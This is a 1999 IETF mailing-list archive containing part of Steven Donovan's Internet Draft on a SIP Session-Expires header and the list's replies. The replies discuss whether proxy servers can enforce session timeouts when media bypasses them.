ftp.nis.garr.it (Southern Europe), munnari.oz.au (Pacific Rim),
ftp.ietf.org (US East Coast), or ftp.isi.edu (US West Coast).



Abstract

This document proposes an extension to the SIP specification.  This
extension adds a new message header that is used to specify the=20
duration of a requested session.

The session timer can be used to limit the total duration of a session
if, for instance, one of the participants in the session wants to
limit the cost of the session.  It can also be used by stateful SIP
Proxy Servers to track the status of sessions for which session state
exists on the servers. Currently a stateful SIP Proxy Server that is=20
not handling the media stream(s) for the session has no mechinism to=20
definitively determine the state of all sessions for which it has =
state.
While the SIP Specification does provide the BYE method for terminating
the session, there is no mechinism for a SIP Proxy Server to detect the
end of a session when the BYE message is not sent or is lost due to=20
network problems.








Donovan                                                         [Page =
1]
=0C
Internet draft          The SIP Session Timer          February 10, =
1999

1.0 Introduction

The need for the addition of a session timer was initially motivated by
the realization that stateful proxy servers currently have no method of =

determining the end of a session in certain anomalous situations.  For=20
instance, when a user agent fails to send a BYE message at the end of=20
a session or the BYE message gets lost due to network problems.  In=20
this situation, the stateful proxy will maintain state for the session=20
and will have no deterministic method for determining when the state=20
no longer applies.

With the addition of a session timer to the SIP protocol, the stateful
proxy server will have the option of tearing down the session upon the
expiration of the session timer.

A session timer can also be used for other purposes.  For instance, it
could be used in the implementation of a prepaid service.  In this case
all session related signaling would be routed through a SIP server that
would control the session time based on a subscriber's prepaid account.
The SIP server could use the session timer to force tear down of the=20
session within a specific time.  The session timer could also be used
by the user agent as a trigger to indicate to the subscriber that=20
the prepaid account requires more funds to extend the call.

This document proposes the addition of a the Session-Expires header to=20
the SIP INVITE message.  In addition, two new Request Failure messages
are proposed.  The first to allow a SIP Proxy Server (SPS) server or a
User Agent Server (UAS) to indicate the need for the Session-Expires=20
header in INVITE messages.  The second to allow a SPS or UAS to reject=20
a User Agent Client's (UAC) session timer request.  This can be the=20
UAC's initial INVITE or the UAC's request to extent an existing =
session.

2.0 Session-Expires Header Field Definition

The Session-Expires header will be used by UAC to indicate the maximum=20
duration of the session.  The format of the contents of the=20
Session-Expires header shall be equivalent to the format of the=20
Expires header.  As such, the end of the session can be specified as
either an absolute or delta time.

The Session-Expires header shall be valid only in INVITE requests.

The UAS or any SPS in the path of the session signaling shall have the=20
option of rejecting an INVITE that does not contain the Session-Expires
header if the service context in which the session request is made=20
requires the use of the session timer.

The begin time of the session shall start upon receipt of the ACK by=20
the SPS and UAS message indicating successful setup of the session.




Donovan                                                         [Page =
2]
=0C
Internet draft          The SIP Session Timer          February 10, =
1999

The UAC shall have the ability to request an extension to the duration=20
of the session by sending a re-INVITE message for the session with a=20
new Session-Expires header.  See section 1.4.6, Changing an Existing=20
Session, in [1].

The UAS or any SPS in the path of the session signaling shall have the=20
ability to reject the change in the session duration. =20

Upon expiration of the session timer, the UAS shall have the option of=20
terminating the session using the normal BYE method.

In addition, a SPS shall have the option of tearing down an expired=20
session by sending a BYE to both the UAS and the UAC.

3.0 Behavior of SIP User Agents

3.1 Behavior of User Agent Clients

A User Agent Client shall have the ability to include the Session-
Expires header in an INVITE message. =20

The UAC may need to keep a session based timer in order to determine
the need for extending the session. =20

The UAC shall have the ability to request an extension of the session=20
timer by sending an INVITE message for an existing session with a=20
Session-Expires header. =20

3.2 Behavior of User Agent Servers

The User Agent Server shall have the ability to reject an INVITE=20
message that does not contain a Session-Expires header if the INVITE=20
is received in a service context that requires a session timer.  The=20
UAS shall reject the INVITE using the following response:

     4xx Session-Expires Header Required

If the Session-Expires header contains a delta time then the UAS shall=20
calculate the end of the session based on receipt of the ACK message=20
that completes a successful session initiation:

  End of session time =3D Receipt of ACK time + Session-Expires time

The UAS shall have the ability to reject an INVITE request based on=20
the Session-Expires header.  For instance, the UAS may choose to reject =

the INVITE if the requested session time is longer than the UAS desires =

to participate in the session.  The UAS shall use the following message =

to reject the request:

     4xx Session Time Request Rejected



Donovan                                                         [Page =
3]
=0C
Internet draft          The SIP Session Timer          February 10, =
1999

The UAS shall have the ability to reject a request to extend the length =

of the session.  The UAS shall do so by sending the following response:

     4xx Session Time Request Rejected

If the Session-Expires header in the re-INVITE contains a delta time=20
then the UAS shall calculate the new end of the previous end of session =

time:

  New end of session time =3D Previous end of session time + delta time =


If a request to extend the session time is rejected by the UAS then
the end of session time that existed prior to the extension request
shall be used.

Upon expiration of the session timer, the UAS shall explicitly=20
terminate the session by sending a BYE message.

4.0 Behavior of SIP Proxy Servers

A SIP Proxy Server has the option of tracking the duration of sessions=20
for which it is a proxy.

If the SPS receives an INVITE without a Session-Expires header, it has=20
the option of sending the following message indicating that the=20
Session-Expires header is required:

     4xx Session-Expires Header Required

A SPS has the option of rejecting an INVITE with a Session-Expires=20
header based on the time specified in the header.  For instance, if=20
the time specified is too long. The proxy server UAS shall do by=20
sending the following response:

     4xx Session Time Request Rejected

A SPS has the option of rejecting a request for an extension of the=20
session timer for an existing session by sending the following message:

     4xx Session Time Request Rejected

If the SPS accepts the request to extend the session timer then it=20
shall use the method of calculating the new end of session time
specified in section 3.2.

A SPS shall have the option of tearing down sessions that have expired.
Note that the SPS should wait for the UAS to terminate the call using=20
normal mechanisms.  If the UAS fails to send a BYE as a result of=20
session expiration then the SPS can choose to end the call.

The SPS shall terminate the call by sending BYE requests to the UAC=20
and the UAS.

Donovan                                                         [Page =
4]
=0C
Internet draft          The SIP Session Timer          February 10, =
1999

5.0 Header Field Definitions

The following is an extension of tables 4 and 5 in [1] for the Session-
Expires header:

                  where  enc.  e-e  ACK  BYE  CAN  INV  OPT  REG
 Session-Expires    r           e    -    -    -    o    -    -

5.0 Security Considerations

There are no security considerations unique to the Session-Expires
header.

6.0 Example

The following examples are meant to illustrate the functionality=20
associated with the Session-Expires header.  As such, other headers
are intentionally left out of the SIP messages.

Example One -=20

In this example, the UAC initiates a session directly with the UAS =
using
the Session-Expires header.  The UAC subsequently requests and=20
extension to the session timer which is accepted by the UAS.  The=20
session eventually times out and is terminated by the UAS.

UAC->UAS     INVITE
             Session-Expires: 120
UAS->UAC     200 OK
UAC->UAS     ACK                        UAC starts session timer
             UAS Receipt of ACK         UAS starts session timer
UAC->UAC     INVITE
             Session-Expires: 120
UAC->UAS     200 OK
UAC->UAS     ACK                        UAC resets session end time
             UAS Receipt of ACK         UAS resets session timer
Session timeout
UAS->UAC     BYE
UAC->UAS     200 OK














Donovan                                                         [Page =
5]
=0C
Internet draft          The SIP Session Timer          February 10, =
1999

Example Two=20

In this scenario, the UAC session request without a Session-Expires=20
header.  The SPS rejects the INVITE, indicating that a Session-Expires
header is required.  The UAC re-requests a session with a=20
Session-Expires header.  This session is successfully set up through
the SPS.  The SPS eventually detects session timeout. =20

UAC->SPS     INVITE
SPS->UAC     4xx Session-Expires Header Required
UAC->SPS     INVITE
             Session-Expires: 120
SPS->UAS     INVITE                     To extend existing session
             Session-Expires: 120
UAS->SPS     200 OK
SPS->UAC     200 OK
UAC->SPS     ACK                        UAC starts session timer
             SPS Receipt of ACK         SPS starts session timer
SPS->UAS     ACK                        UAS starts session timer
Session timeout detected by SPS
SPS->UAC     BYE
SPS->UAS     BYE
UAS->SPS     200 OK
UAC->SPS     200 OK

7.0 References

[1] M. Handley, H. Schulzrinne, E. Schooler, and J. Rosenberg,=20
    "SIP: Session Initiation Protocol", Internet Draft, Internet=20
    Engineering Task Force, January 15, 1999.  Work in progress.

8.0 Author's Address

   Steven R. Donovan
   MCI Worldcom
   1493/678
   901 International Parkway
   Richardson, Texas 75081
   Email: steven.r.donovan@mci.com














Donovan                                                         [Page =
6]
------_=_NextPart_000_01BE55DF.DFFC8E72--

From confctrl-owner  Thu Feb 11 11:07:05 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA11915
	for confctrl-outgoing; Thu, 11 Feb 1999 11:07:05 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA11910
	for <confctrl@zephyr.isi.edu>; Thu, 11 Feb 1999 11:07:04 -0800 (PST)
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id LAA07472
	for <confctrl@ISI.EDU>; Thu, 11 Feb 1999 11:07:03 -0800 (PST)
Received: from Eng.Sun.COM (engmail4 [129.144.134.6]) by mercury.Sun.COM (SMI-8.6/mail.byaddr) with SMTP id LAA08587; Thu, 11 Feb 1999 11:06:27 -0800
Received: from hsmpka.eng.sun.com (phys-hsmpka.Eng.Sun.COM [129.146.93.37])
	by Eng.Sun.COM (SMI-8.6/SMI-5.3) with SMTP id LAA27115;
	Thu, 11 Feb 1999 11:06:25 -0800
Received: from hsmpka.eng.sun.com by hsmpka.eng.sun.com (SMI-8.6/SMI-SVR4)
	id LAA28606; Thu, 11 Feb 1999 11:06:12 -0800
From: Pat.Calhoun@Eng.Sun.COM (Patrice Calhoun)
Message-Id: <199902111906.LAA28606@hsmpka.eng.sun.com>
Date: Thu, 11 Feb 1999 11:02:08 -0800
To: "Donovan, Steven R. (MCI)" <Steven.R.Donovan@mci.com>,
        "'iptel@lists.research.bell-labs.com'" <iptel@lists.research.bell-labs.com>,
        "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>
Reply-To: <Pat.Calhoun@Eng.Sun.COM>
Subject: RE: draft-ietf-mmusic-sip-session-timer-00.txt
X-Mailer: Sun NetMail 2.2.5
MIME-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Pardon the perhaps very naive question, but I suppose I am not as versant in 
SIP as I would like to be.

My understanding is that a SIP Client issues an Invite message to a SIP Server,
which in turn forwards the request to a target SIP Client (or some GW or some
sort). Once the ACK has returned to the originating client, I was under the
impression that both SIP Clients send RTP packets directly to each other,
bypassing the SIP Server (this is where I am unclear).

So if this is true, how will a SIP Server (stateful, or stateless) enforce any
session timeouts? A malicious SIP Client can simply keep the session active
for as long as it wishes, ignoring any messages from the SIP Server that may
tell it to disconnect.

This, as far as I can see, could cause some serious problems if one wishes to
deploy a service and still maintain some control over the sessions.

Again, perhaps I am way off here. Any clarifications would certainly be 
appreciated.

PatC

>This time with the draft attached.  Sorry for the extra mail.
>
>Steve
>
> <<draft-ietf-mmusic-sip-session-timer-00.txt>> 
>
>> -----Original Message-----
>> From:	Donovan, Steven R. (MCI) 
>> Sent:	Thursday, February 11, 1999 10:17 AM
>> To:	'confctrl@ISI.EDU'; 'iptel@lists.research.bell-labs.com'
>> Subject:	draft-ietf-mmusic-sip-session-timer-00.txt
>> 
>> This message is notification of the following Internet Draft which has
>> been submitted to the IETF for posting.
>> 
>> <draft-ietf-mmusic-sip-session-timer-00.txt> 
>> 
>> Abstract: 
>> 
>> This document proposes an extension to the SIP specification.  This
>> extension adds a new message header that is used to specify the 
>> duration of a requested session.
>> 
>> The session timer can be used to limit the total duration of a session
>> if, for instance, one of the participants in the session wants to
>> limit the cost of the session.  It can also be used by stateful SIP
>> Proxy Servers to track the status of sessions for which session state
>> exists on the servers. Currently a stateful SIP Proxy Server that is 
>> not handling the media stream(s) for the session has no mechanism to 
>> definitively determine the state of all sessions for which it has state.
>> While the SIP Specification does provide the BYE method for terminating
>> the session, there is no mechanism for a SIP Proxy Server to detect the
>> end of a session when the BYE message is not sent or is lost due to 
>> network problems.
>> 
>> The internet draft is attached.
>> 
>> Steve Donovan
>> MCIWorldcom



From confctrl-owner  Thu Feb 11 13:52:13 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA20691
	for confctrl-outgoing; Thu, 11 Feb 1999 13:52:13 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA20686
	for <confctrl@zephyr.isi.edu>; Thu, 11 Feb 1999 13:52:11 -0800 (PST)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id NAA23275
	for <confctrl@isi.edu>; Thu, 11 Feb 1999 13:52:09 -0800 (PST)
Received: from couch.dnrc.bell-labs.com ([135.180.160.30]) by dirty; Thu Feb 11 16:50:07 EST 1999
Received: from dnrc.bell-labs.com (jdrosen.lra.lucent.com [135.17.250.185])
	by couch.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id QAA13251;
	Thu, 11 Feb 1999 16:50:04 -0500 (EST)
Message-ID: <36C35066.852BC71B@dnrc.bell-labs.com>
Date: Thu, 11 Feb 1999 16:49:26 -0500
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.05 [en] (Win95; U)
MIME-Version: 1.0
To: Pat.Calhoun@Eng.Sun.COM
CC: "Donovan, Steven R. (MCI)" <Steven.R.Donovan@mci.com>,
        "'iptel@lists.research.bell-labs.com'" <iptel@lists.research.bell-labs.com>,
        "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>
Subject: Re: draft-ietf-mmusic-sip-session-timer-00.txt
References: <199902111906.LAA28606@hsmpka.eng.sun.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Patrice Calhoun wrote:
> 
> My understanding is that a SIP Client issues an Invite message to a SIP Server,
> which in turn forwards the request to a target SIP Client (or some GW or some
> sort). Once the ACK has returned to the originating client, I was under the
> impression that both SIP Clients send RTP packets directly to each other,
> bypassing the SIP Server (this is where I am unclear).

Slight correction - ACK goes from caller to callee.

But, in general, you are right. RTP bypasses the SIP servers.

> 
> So if this is true, how will a SIP Server (stateful, or stateless) enforce any
> session timeouts? A malicious SIP Client can simply keep the session active
> for as long as it wishes, ignoring any messages from the SIP Server that may
> tell it to disconnect.
> 
> This, as far as I can see, could cause some serious problems if one wishes to
> deploy a service and still maintain some control over the sessions.

This is an excellent, excellent point, and is something I have been
considering since the whole timeout/DTMF/INFO issues came up. The
question you ask gets back to a more basic problem. Since, unlike
traditional telephony, voice does not flow through the servers
(gatekeepers or SIP servers or MXCP call agents) in Internet telephony,
any sort of "control" a server would like to execute is based on an
assumption that the user agents (the ones sending/receiving the media)
would obey the servers. Consider the example of call transfer. Lets say
we'd like to signal the service using DTMF, so a proxy subscribes to the
DTMF from the client. The client presses the appropriate buttons on the
phone, and the proxy decides to transfer. But, the media doesn't flow
through the proxy, so it has no way of actually transferring the call.
Rather, it will need to go back and tell the user agent to perform the
transfer, since only the user agent can affect where the media goes to.
In that case, why would the UA ask the network for the service in the
first place?  It can simply be invoked directly by the client. In a
network where voice transport is end to end, services based on changing
characteristics of that transport (coding, destination, etc), must also
be end to end. 

Now, if the action the proxy asks to user to take is something the user
wants to do anyway, maybe thats OK. But, if its something less
cooperative, like forcing a hangup, or transferring to an operator,
there is simply no incentive for the user to accept this. 

-Jonathan R.
-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Thu Feb 11 13:56:58 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA20943
	for confctrl-outgoing; Thu, 11 Feb 1999 13:56:58 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA20938
	for <confctrl@zephyr.isi.edu>; Thu, 11 Feb 1999 13:56:56 -0800 (PST)
Received: from ndcrelay.mcit.com (ndcrelay.mcit.com [166.37.172.49])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id NAA23753
	for <confctrl@ISI.EDU>; Thu, 11 Feb 1999 13:56:55 -0800 (PST)
Received: from omta1.mcit.com (omta1.mcit.com [166.37.204.2])
          by ndcrelay.mcit.com (8.8.7/) with ESMTP
	  id VAA26989; Thu, 11 Feb 1999 21:55:57 GMT
Received: from localHost ([166.35.151.149]) by omta1.mcit.com
          (InterMail v03.02.05 118 121 101) with SMTP
          id <19990211215608.KKFZ16328@localHost>;
          Thu, 11 Feb 1999 15:56:08 -0600
Date: Thu, 11 Feb 1999 15:55 -0600 (CST)
From: John Hearty <John.H.Hearty@mci.com>
X-Mailer: MailRoom for Internet v2.3g (www.SierraSol.com)
To: Pat.Calhoun@Eng.Sun.COM (Patrice Calhoun)
CC: "Donovan, Steven R. (MCI)" <Steven.R.Donovan@mci.com>,
        "'iptel@lists.research.bell-labs.com'" <iptel@lists.research.bell-labs.com>,
        "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>
Subject: RE: draft-ietf-mmusic-sip-session-timer-00.txt
Message-Id: <19990211215608.KKFZ16328@localHost>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


 This draft was written in part to address a concern that stateful
SIP proxy servers could have sessions marked active when in fact they
have been terminated, and invalid state data could remain indefinately
in the server.  It is true that BYE messages could be ignored, but
that would have to be coordinated by all parties wishing to remain
in the session, and then they are just using the IP access pipe they
are already paying for.  You could even go one step further in that
line of thinking and have the originator send a Cancel instead of an
ACK once it got the session info back from the terminator in a 200 OK,
thereby never starting the session, but coordination from both ends
would again be required.  So other than setting up the session (which
could be a billable event), coordination of the session from that point
on would be up to the involved clients, no different than what is now
available.

John Hearty
MCI Worldcom
Global Network Evolution



Date: Thu, 11 Feb 1999 13:02 -0600 (CST)
From: Pat.Calhoun@Eng.Sun.COM (Patrice Calhoun)
To: "Donovan, Steven R. (MCI)" <Steven.R.Donovan@mci.com>,
    "'iptel@lists.research.bell-labs.com'" <iptel@lists.research.bell-labs.com>,
    "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>
Sender: owner-iptel@lists.research.bell-labs.com
Reply-to: Pat.Calhoun@Eng.Sun.COM
Delivered-to: iptel-outgoing-local@paperless.dnrc.bell-labs.com
Delivered-to: iptel-local@paperless.dnrc.bell-labs.com
Subject: RE: draft-ietf-mmusic-sip-session-timer-00.txt

Pardon the perhaps very naive question, but I suppose I am not as versant in 
SIP as I would like to be.

My understanding is that a SIP Client issues an Invite message to a SIP Server,
which in turn forwards the request to a target SIP Client (or some GW or some
sort). Once the ACK has returned to the originating client, I was under the
impression that both SIP Clients send RTP packets directly to each other,
bypassing the SIP Server (this is where I am unclear).

So if this is true, how will a SIP Server (stateful, or stateless) enforce any
session timeouts? A malicious SIP Client can simply keep the session active
for as long as it wishes, ignoring any messages from the SIP Server that may
tell it to disconnect.

This, as far as I can see, could cause some serious problems if one wishes to
deploy a service and still maintain some control over the sessions.

Again, perhaps I am way off here. Any clarifications would certainly be 
appreciated.

PatC

>This time with the draft attached.  Sorry for the extra mail.
>
>Steve
>
> <<draft-ietf-mmusic-sip-session-timer-00.txt>> 
>
>> -----Original Message-----
>> From:    Donovan, Steven R. (MCI) 
>> Sent:    Thursday, February 11, 1999 10:17 AM
>> To:  'confctrl@ISI.EDU'; 'iptel@lists.research.bell-labs.com'
>> Subject: draft-ietf-mmusic-sip-session-timer-00.txt
>> 
>> This message is notification of the following Internet Draft which has
>> been submitted to the IETF for posting.
>> 
>> <draft-ietf-mmusic-sip-session-timer-00.txt> 
>> 
>> Abstract: 
>> 
>> This document proposes an extension to the SIP specification.  This
>> extension adds a new message header that is used to specify the 
>> duration of a requested session.
>> 
>> The session timer can be used to limit the total duration of a session
>> if, for instance, one of the participants in the session wants to
>> limit the cost of the session.  It can also be used by stateful SIP
>> Proxy Servers to track the status of sessions for which session state
>> exists on the servers. Currently a stateful SIP Proxy Server that is 
>> not handling the media stream(s) for the session has no mechanism to 
>> definitively determine the state of all sessions for which it has state.
>> While the SIP Specification does provide the BYE method for terminating
>> the session, there is no mechanism for a SIP Proxy Server to detect the
>> end of a session when the BYE message is not sent or is lost due to 
>> network problems.
>> 
>> The internet draft is attached.
>> 
>> Steve Donovan
>> MCIWorldcom



---------
This message came from the IETF IPTEL Working Group Mailing List.

From confctrl-owner  Thu Feb 11 14:57:08 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA24337
	for confctrl-outgoing; Thu, 11 Feb 1999 14:57:08 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA24332
	for <confctrl@zephyr.isi.edu>; Thu, 11 Feb 1999 14:57:07 -0800 (PST)
Received: from omzrelay.mcit.com (omzrelay.mcit.com [166.37.204.49])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id OAA00346
	for <confctrl@ISI.EDU>; Thu, 11 Feb 1999 14:57:05 -0800 (PST)
Received: from cosexch002.mcit.com (cosexch002.mcit.com [166.37.27.89])
          by omzrelay.mcit.com (8.8.7/) with ESMTP
	  id VAA02128; Thu, 11 Feb 1999 21:55:50 GMT
Received: by cosexch002.mcit.com with Internet Mail Service (5.5.2232.9)
	id <1RZ4GX0R>; Thu, 11 Feb 1999 15:56:18 -0700
Message-ID: <CA6966C24AC6D111B5A100805FEAB7D8577412@nsrip00208.mcit.com>
From: "Donovan, Steven R. (MCI)" <Steven.R.Donovan@mci.com>
To: "'Pat.Calhoun@Eng.Sun.COM'" <Pat.Calhoun@Eng.Sun.COM>,
        "'iptel@lists.research.bell-labs.com'"
	 <iptel@lists.research.bell-labs.com>,
        "'confctrl@ISI.EDU'"
	 <confctrl@ISI.EDU>
Subject: RE: draft-ietf-mmusic-sip-session-timer-00.txt
Date: Thu, 11 Feb 1999 15:56:16 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2232.9)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01BE5611.BB663324"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BE5611.BB663324
Content-Type: text/plain;
	charset="ISO-8859-1"



> -----Original Message-----
> From:	Pat.Calhoun@Eng.Sun.COM [SMTP:Pat.Calhoun@Eng.Sun.COM]
> Sent:	Thursday, February 11, 1999 1:02 PM
> To:	Donovan, Steven R. (MCI); 'iptel@lists.research.bell-labs.com';
> 'confctrl@ISI.EDU'
> Subject:	RE: draft-ietf-mmusic-sip-session-timer-00.txt
> 
> Pardon the perhaps very naive question, but I suppose I am not as versant
> in 
> SIP as I would like to be.
> 
> My understanding is that a SIP Client issues an Invite message to a SIP
> Server,
> which in turn forwards the request to a target SIP Client (or some GW or
> some
> sort). Once the ACK has returned to the originating client, I was under
> the
> impression that both SIP Clients send RTP packets directly to each other,
> bypassing the SIP Server (this is where I am unclear).
> 
	This depends on the implementation of the SIP Server.  There are
valid reasons to have the SIP Server proxy the IP packets.  But in general,
you are correct.  There will be SIP Servers that do not have a view of the
RTP flow.

> So if this is true, how will a SIP Server (stateful, or stateless) enforce
> any
> session timeouts? A malicious SIP Client can simply keep the session
> active
> for as long as it wishes, ignoring any messages from the SIP Server that
> may
> tell it to disconnect.
> 
> This, as far as I can see, could cause some serious problems if one wishes
> to
> deploy a service and still maintain some control over the sessions.
> 
> Again, perhaps I am way off here. Any clarifications would certainly be 
> appreciated.
> 
	You are correct and I personally would not rely on reporting from
the SIP Server to do reliable billing.  However, if a stateful SIP Proxy
server is built, for whatever reason, the current SIP specification does not
have a mechanism for the SIP server to know which of the sessions for which
it has state are valid.  This draft gives the SIP Server a mechanism to
remove those sessions that it feels are no longer valid.

	The amount of control that a SIP server exerts over sessions is a
separate issue.  As John Hearty accurately points out in a separate email,
the user of the SIP device can choose to bypass the SIP server entirely.
The challenge for service providers will be to implement services that make
user's want to access the service provider's SIP server.

> PatC
> 
> >This time with the draft attached.  Sorry for the extra mail.
> >
> >Steve
> >
> > <<draft-ietf-mmusic-sip-session-timer-00.txt>> 
> >
> >> -----Original Message-----
> >> From:	Donovan, Steven R. (MCI) 
> >> Sent:	Thursday, February 11, 1999 10:17 AM
> >> To:	'confctrl@ISI.EDU'; 'iptel@lists.research.bell-labs.com'
> >> Subject:	draft-ietf-mmusic-sip-session-timer-00.txt
> >> 
> >> This message is notification of the following Internet Draft which has
> >> been submitted to the IETF for posting.
> >> 
> >> <draft-ietf-mmusic-sip-session-timer-00.txt> 
> >> 
> >> Abstract: 
> >> 
> >> This document proposes an extension to the SIP specification.  This
> >> extension adds a new message header that is used to specify the 
> >> duration of a requested session.
> >> 
> >> The session timer can be used to limit the total duration of a session
> >> if, for instance, one of the participants in the session wants to
> >> limit the cost of the session.  It can also be used by stateful SIP
> >> Proxy Servers to track the status of sessions for which session state
> >> exists on the servers. Currently a stateful SIP Proxy Server that is 
> >> not handling the media stream(s) for the session has no mechanism to 
> >> definitively determine the state of all sessions for which it has
> state.
> >> While the SIP Specification does provide the BYE method for terminating
> >> the session, there is no mechanism for a SIP Proxy Server to detect the
> >> end of a session when the BYE message is not sent or is lost due to 
> >> network problems.
> >> 
> >> The internet draft is attached.
> >> 
> >> Steve Donovan
> >> MCIWorldcom
> 

------_=_NextPart_001_01BE5611.BB663324
Content-Type: text/html;
	charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dus-ascii">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2232.0">
<TITLE>RE: draft-ietf-mmusic-sip-session-timer-00.txt</TITLE>
</HEAD>
<BODY>
<BR>
<BR>
<UL>
<P><FONT SIZE=3D1 FACE=3D"Arial">-----Original Message-----</FONT>
<BR><B><FONT SIZE=3D1 FACE=3D"Arial">From:&nbsp;&nbsp;</FONT></B> <FONT =
SIZE=3D1 FACE=3D"Arial">Pat.Calhoun@Eng.Sun.COM =
[SMTP:Pat.Calhoun@Eng.Sun.COM]</FONT>
<BR><B><FONT SIZE=3D1 FACE=3D"Arial">Sent:&nbsp;&nbsp;</FONT></B> <FONT =
SIZE=3D1 FACE=3D"Arial">Thursday, February 11, 1999 1:02 PM</FONT>
<BR><B><FONT SIZE=3D1 =
FACE=3D"Arial">To:&nbsp;&nbsp;&nbsp;&nbsp;</FONT></B> <FONT SIZE=3D1 =
FACE=3D"Arial">Donovan, Steven R. (MCI); =
'iptel@lists.research.bell-labs.com'; 'confctrl@ISI.EDU'</FONT>
<BR><B><FONT SIZE=3D1 =
FACE=3D"Arial">Subject:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</FONT>=
</B> <FONT SIZE=3D1 FACE=3D"Arial">RE: =
draft-ietf-mmusic-sip-session-timer-00.txt</FONT>
</P>

<P><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">Pardon the =
perhaps very naive question, but I suppose I am not as versant in =
</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">SIP as I =
would like to be.</FONT>
</P>

<P><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">My =
understanding is that a SIP Client issues an Invite message to a SIP =
Server,</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">which in turn =
forwards the request to a target SIP Client (or some GW or some</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">sort). Once =
the ACK has returned to the originating client, I was under the</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">impression =
that both SIP Clients send RTP packets directly to each other,</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">bypassing the =
SIP Server (this is where I am unclear).</FONT>
</P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">This depends on =
the implementation of the SIP Server.&nbsp; There are valid reasons to =
have the SIP Server proxy the IP packets.&nbsp; But in general, you are =
correct.&nbsp; There will be SIP Servers that do not have a view of the =
RTP flow.</FONT></P>

<P><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">So if this is =
true, how will a SIP Server (stateful, or stateless) enforce any</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">session =
timeouts? A malicious SIP Client can simply keep the session =
active</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">for as long =
as it wishes, ignoring any messages from the SIP Server that may</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">tell it to =
disconnect.</FONT>
</P>

<P><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">This, as far =
as I can see, could cause some serious problems if one wishes to</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">deploy a =
service and still maintain some control over the sessions.</FONT>
</P>

<P><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">Again, perhaps =
I am way off here. Any clarifications would certainly be </FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier =
New">appreciated.</FONT>
</P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">You are correct =
and I personally would not rely on reporting from the SIP Server to do =
reliable billing.&nbsp; However, if a stateful SIP Proxy server is =
built, for whatever reason, the current SIP specification does not have =
a mechanism for the SIP server to know which of the sessions for which =
it has state are valid.&nbsp; This draft gives the SIP Server a =
mechanism to remove those sessions that it feels are no longer =
valid.</FONT></P>
